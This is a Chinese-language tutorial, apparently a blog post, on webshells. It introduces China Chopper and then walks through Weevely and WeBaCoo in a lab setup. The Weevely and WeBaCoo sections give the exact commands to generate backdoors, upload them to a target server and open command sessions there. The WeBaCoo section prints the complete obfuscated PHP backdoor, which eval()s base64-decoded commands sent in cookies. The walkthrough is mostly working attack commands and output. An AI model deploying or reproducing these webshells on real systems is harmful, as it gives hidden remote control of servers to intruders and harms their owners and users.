一、介绍
webshell，顾名思义：web指的是在web服务器上，而shell是用脚本语言编写的脚本程序，webshell就是就是web的一个管理工具，可以对web服务器进行操作的权限，也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途，但是由于webshell的功能比较强大，可以上传下载文件，查看数据库，甚至可以调用一些服务器上系统的相关命令（比如创建用户，修改删除文件之类的），通常被黑客利用，黑客通过一些上传方式，将自己编写的webshell上传到web服务器的页面的目录下，然后通过页面访问的形式进行入侵，或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
二、中国菜刀（木马太多，容易被waf过滤，这里我就没做测试了）
中国菜刀是一款专业的网站管理软件，用途广泛，使用方便，小巧实用，据说是一位中国军人退伍之后的作品。只要支持动态脚本的网站，都可以用中国菜刀来进行管理！
在非简体中文环境下使用，自动切换到英文界面。UINCODE方式编译，支持多国语言输入显示。只要支持动态脚本的网站，都可以用中国菜刀来进行管理！主要功能有：文件管理，虚拟终端，数据库管理。
三、Weevely
1、介绍
Weevely 是一个隐形的 PHP Web shell ，可以模拟类似 telnet 的连接。它是 Web 应用程序后期利用的必备工具，可用作隐形后门或 Web shell 来管理合法的 Web 帐户，甚至是免费托管帐户 。
2、使用
1、生成后门
#生成密码为123文件名为weevely_shell.php的后门文件
root@kali:/webshell# weevely generate 123 /webshell/weevely_shell.php
Generated backdoor with password \'123\' in \'/webshell/weevely_shell.php\' of 1332 byte size.
root@kali:/webshell# ll
总用量 4
-rw-r--r-- 1 root root 1332 4月 9 10:05 weevely_shell.php
2、将weevely_shell.php文件上传到攻击的服务器上
root@kali:/webshell# rsync -avz weevely_shell.php root@10.0.0.138:/var/www/
root@10.0.0.138\'s password:
weevely_shell.php
3、测试
root@kali:/webshell# weevely http://10.0.0.138/weevely_shell.php 123
[+] weevely 3.2.0
[+] Target: 10.0.0.138
[+] Session: /root/.weevely/sessions/10.0.0.138/weevely_shell_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> id
[-][channel] The remote script execution triggers an error 500, please verify script integrity and sent payload correctness
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@10.0.0.138:/var/www $ ip a
[-][channel] The remote script execution triggers an error 500, please verify script integrity and sent payload correctness
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:00:8d:dd brd ff:ff:ff:ff:ff:ff
inet 10.0.0.138/24 brd 10.0.0.255 scope global eth0
inet6 fe80::20c:29ff:fe00:8ddd/64 scope link
valid_lft forever preferred_lft forever
www-data@10.0.0.138:/var/www $
四、WeBaCoo
1、介绍
Webacoo的编码通信内容都是通过cookie头传输，隐蔽性强。
其Cookie头中的三个变量：
cm：base64编码的命令
cn：服务器用于返回数据的cookie头的名
cp：返回信息定界符
直接在终端输入webacoo即可启动。
2、使用
1、生成webshell文件
root@kali:/webshell# webacoo -g -o wao.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
[+] Backdoor file "wao.php" created.
root@kali:/webshell# cat wao.php
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ?>root@kali:/webshell#
2、将文件上传到被攻击端的服务器上
root@kali:/webshell# rsync -avz wao.php root@10.0.0.138:/var/www/
root@10.0.0.138\'s password:
wao.php
sent 399 bytes received 46 bytes 178.00 bytes/sec
total size is 576 speedup is 1.29
3、测试
root@kali:/webshell# webacoo -t -u http://10.0.0.138/wao.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Type \'load\' to use an extension module.
[*] Type \':<cmd>\' to run local OS commands.
[*] Type \'exit\' to quit terminal.
webacoo$ ip a s eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:00:8d:dd brd ff:ff:ff:ff:ff:ff
inet 10.0.0.138/24 brd 10.0.0.255 scope global eth0
inet6 fe80::20c:29ff:fe00:8ddd/64 scope link
valid_lft forever preferred_lft forever
webacoo$